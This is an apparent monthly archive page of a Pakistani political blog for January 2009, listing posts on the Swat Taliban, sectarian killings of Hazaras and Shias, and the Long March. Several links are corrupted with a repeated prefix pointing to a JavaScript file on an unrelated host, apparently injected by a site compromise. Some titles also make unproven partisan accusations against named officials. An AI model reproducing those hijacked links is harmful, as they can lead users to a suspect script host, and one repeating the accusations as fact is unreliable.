Monthly Archive:: January 2009
Police Chief Nawabzada Humayun Jogezai , son in law of the Balochistan Chief Minister, is involved in target killing of Hazaras in Quetta…..: The Gang Behind Target Killing of Hazaras Source: Hazara News Pakistan – http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&hazaranewspakistan.wordpress.com/2009/01/28/the-gang-behind-target-killing-of-hazaras/ Quetta January 29: Target killing of Hazaras in Quetta started since 2000 when Sardar Nisar Ali Hazara was attacked by “unknown” gunmen. His driver succumbed to
Talat Hussain: An analysis of Long March and Nawaz Sharif’s options…: Qadam barhao Nawaz Sharif, hum tumharay saath hain? Talat Hussain PML-N’s dangerous gamble IN a democracy, the right to protest is fundamental and, if conducted peacefully, should not be opposed. From this perspective, the PML-N’s decision to throw its
Rahimullah Yusufzai: And the drone policy continues…: And the drone policy continues… Saturday, January 31, 2009 Rahimullah Yusufzai Pakistan abdicated its right to be taken seriously long ago when it first agreed to assist the US in fighting the Soviet occupying forces in Afghanistan, hosting, training
Replicating the Al Anbar model in FATA, Pakistan? Some suggestions…: Replicating the Al Anbar model in FATA? Saturday, January 31, 2009 Farhat Taj Al Anbar is a region in Iraq that was devastated by Al Qaeda inflicted violence. Several Sunni tribes of the region formed an alliance, supported by
Video Story of Swat Pakistan, a heaven turned into a hell by the Taliban and their accomplices in ISI: Fizza Afridi: This is about Swat, a city of breathtaking natural beauty turned into a nightmare by those who use the name of Islam but all their actions are against Islam. Some Comments: agentr777 says: The bottom line is
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Afzal Khan Lala: Veteran Pashtun leader defies Swat Taliban: Veteran Pashtun leader defies Swat Taliban * Three-time attack survivor Afzal Khan on top of Taliban’s most-wanted list* Favours military action, says government has to regain control ISLAMABAD: Veteran ethnic Pashtun politician Muhammad Afzal Khan has refused to leave
Swat: Diary of a school girl in Pakistan: A Pakistani seventh grade schoolgirl is writing a diary after Taleban militants in the troubled north-western Swat district ordered schools to close as part of an edict banning girls’ education. Militants seek to impose their austere interpretation of Sharia
Imran Khan’s letter to Barack Obama: A critical commentary: This site has moved to hhttp://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/26780, click this link if you are not redirected
The day the army chief was reported as visiting Swat….: The day the army chief was reported as visiting Swat, two observations appeared on the editorial page of a national daily: The first was: “People now have their reservations about the operation. They ask pertinent questions about it. They
Another Shia killed, eight abducted from Hangu – Terror of Taliban and Sipah-e-Sahaba reigns the NWFP; Pakistan Army is a silent accomplice….: One killed, eight abducted from Hangu Staff Report HANGU: A person was killed and eight others abducted in several incidents of violence in Hangu district of NWFP, official sources said on Thursday. They said unidentified armed men opened fire
Mob tries to burn houses of Ahmadis in Layyah: Shame on extremist Muslims who cannot respect the faith and practices of their fellow Pakistanis. …. Mob tries to burn houses of Ahmadis in Layyah * HRCP alarmed over four children’s detention on blasphemy charges* FIR says local MNA’s
Nawaz Sharif threatens Asif Zardari? An analysis of “Long March”: Nazir Naji …. Tanvir Qaiser Shahid Some Comments: Mohammad Musa Islam Islam Says: To those who love nawaz shareef: that is your right but don’t deny the histry. 1. who was with general jeelani, 2. who was with general
Some thoughts on Swat: the devastation caused by the army’s till-now half-hearted attempts to defeat the insurgents is inexplicable: Some thoughts on SwatFriday, January 30, 2009Charles Ferndale For months I have been reading assiduously the comments in Pakistani newspapers concerning militancy in the NWFP and FATA. This newspaper, in particular, has distinguished itself in its coverage of this
Ayaz Amir: The Long March: Seeking enlightenment, a way out of the confusion: Seeking enlightenment, a way out of the confusionIslamabad diary Friday, January 30, 2009by Ayaz Amir A pundit, so-called, is meant to clarify things, to throw some light where darkness reigns. But I am confused myself and seek an answer
Dealing with Swat: General Kayani’s assurance, too little, too late?: Dealing with SwatFriday, January 30, 2009 The COAS has said that the militant menace in Swat will indeed be overcome. Visiting Swat, General Ashfaq Parvez Kayani pledged to take measures to restore the writ of the state. Ahead of
An example of the Shariat of the Taliban; Where is Imran Khan on this?: Scuffle over dress code Friday, January 23, 2009Militant, ex-Jihadi among three killed in Mingora By our correspondent MINGORA: Militants gunned down Amjad Islam, teacher of a private school who himself waged a Jihad against the Soviet forces in Afghanistan,
Swat: Some excerpts from Mullah Fazlullah’s Taliban FM Radio (Shariat Channel): The following are a few excerpts from Mullah Fazlullah’s FM Radio in Swat, which he has been successfully operating, first under the auspices of the MMA Government in the NWFP and now with the (unholy) blessings of the Pakistan
A column on Nawaz Sharif – By Haroon-ur-Rashid: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Nawaz Sharif’s opportunistic politics – by Haroon-ur-Rashid: Monkeys (Qazi Hussain Ahmed, Imran Khan, Nawaz Sharif) are fighting on their share of ‘cheese’. But where is the cheese?
“Friends” of democracy in Pakistan and the “well-wishers” of PPP – Asadullah Ghalib: Ghulma, Mustafa Khar, Mumtaz Bhutto, Asghar Khan and the Zardari phobia
"Friends" of democracy in Pakistan and the "well-wishers" of PPP – Asadullah Ghalib: Ghulma Mustafa Khar, Mumtaz Bhutto, Asghar Khan and the Zardari phobia
Swat and the Mullah Military Alliance: Two pictures and a column – Abbas Ather: Army will restore writ in Swat: COAS * Commanders brief COAS on security situation in valley* Kayani meets Pashtun leader Afzal Lala, lauds his stance against the Taliban Staff Report RAWALPINDI: Pakistan Army has the ‘will and resolve’ to
Swat, o Swat! Could it be that the former “assets” of the state are now turning their guns on their former benefactors?: Thursday, January 29, 2009Kheyam Khan The people of Swat are confused. They wonder how the might of the Pakistan Army cannot subdue the Taliban of Swat. The Swat insurgency and the “counter-insurgency” must be given priority attention by the
Swat, o Swat! Could it be that the former "assets" of the state are now turning their guns on their former benefactors?: Thursday, January 29, 2009 Kheyam Khan The people of Swat are confused. They wonder how the might of the Pakistan Army cannot subdue the Taliban of Swat. The Swat insurgency and the “counter-insurgency” must be given priority attention by
Some observations on the war in Swat: Thursday, January 29, 2009 Aasim Sajjad Akhtar Over the past few weeks a vigorous debate has raged on these pages about the nature of the war taking place in Swat. It is important to congratulate the editors of these
Imran Khan condemns murder of Yousufi: In the following news item, Imran Khan seems to condemn the sectarian killing of the Hazara / Shia leader in Quetta. However, Imran Khan did not care to pinpoint and condemn “the elements [who] are conspiring to split the
28 January 2009: Another Shia youth killed in D.I.Khan: The Taliban/Sipah-e-Sahaba terror reins the city: Why does not Government arrest the District and City Police Offers as well as Commandants of Pakistan Army / ISI in the area and investigate the series of sectarian killings, done by the Taliban / Sipah-e-Sahaba, sponsored by the
Mourning Swat: A paradise lost – Wusatullah Khan: BBC Urdu dot com http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&www.bbc.co.uk/urdu/pakistan/story/2009/01/090127_swat_history_wusat_zs.shtml بہشتِ مرحوم کی یاد میں وسعت اللہ خان بی بی سی اردو ڈاٹ کام، اسلام آباد طالبان کی جانب سے سوات میں تباہ کیا جانے والا بدھ کا مجسمہ سکندرِ اعظم ذرا جلدی میں
Taliban + Sipah-e-Sahaba + Al Qaeda + Jihadis = A case of multi-directional terror in Pakistan: A case of multi-directional terror Days after a Baloch terrorist organisation killed two innocent Punjabis in Quetta to “avenge injustice to the Baloch”, the Lashkar-e-Jhangvi, a sectarian organisation aligned with Al Qaeda and Taliban, has killed the Shia Hazara
Jihad by the State vs Fasad by the non-State Actors: Asadullah Ghalib offers an authoritative account of the real jihad versus the fasad (mischief) created by the non-state jihadi and sectarian organisations.
Many people said that if the ISI was sincere with the Pakhtuns it must target-kill the entire Taliban leadership just like the Taliban did with elders: What Pakhtuns think Wednesday, January 28, 2009 Farhat Taj There are many Pakhtun who argue that some elite state intelligence agencies and the Taliban, as of Swat for example, are ‘natural allies’ and feed on each other. The Taliban
SOS from D.I.Khan. Why have Police and Army failed to protect Shias in D.I. Khan?: D I Khan bomb blast Wednesday, January 28, 2009 So attuned have we become to living in an age of violence that we now barely seem to notice acts of terror unless they kill a significant number of people.
Systematic killing of the Hazara community in Balochistan…: Targeting HazarasWednesday, January 28, 2009The killing of the chairman of the Hazara Democratic Party in Quetta adds to the violence inflicted on the minority community. The murder, for which the Sunni extremist group, the Lashkar-e-Jhangvi, has claimed responsibility, has
Systematic killing of Hazara Shias in Balochistan: Targeting Hazaras Wednesday, January 28, 2009 The killing of the chairman of the Hazara Democratic Party in Quetta adds to the violence inflicted on the minority community. The murder, for which the Sunni extremist group, the Lashkar-e-Jhangvi, has claimed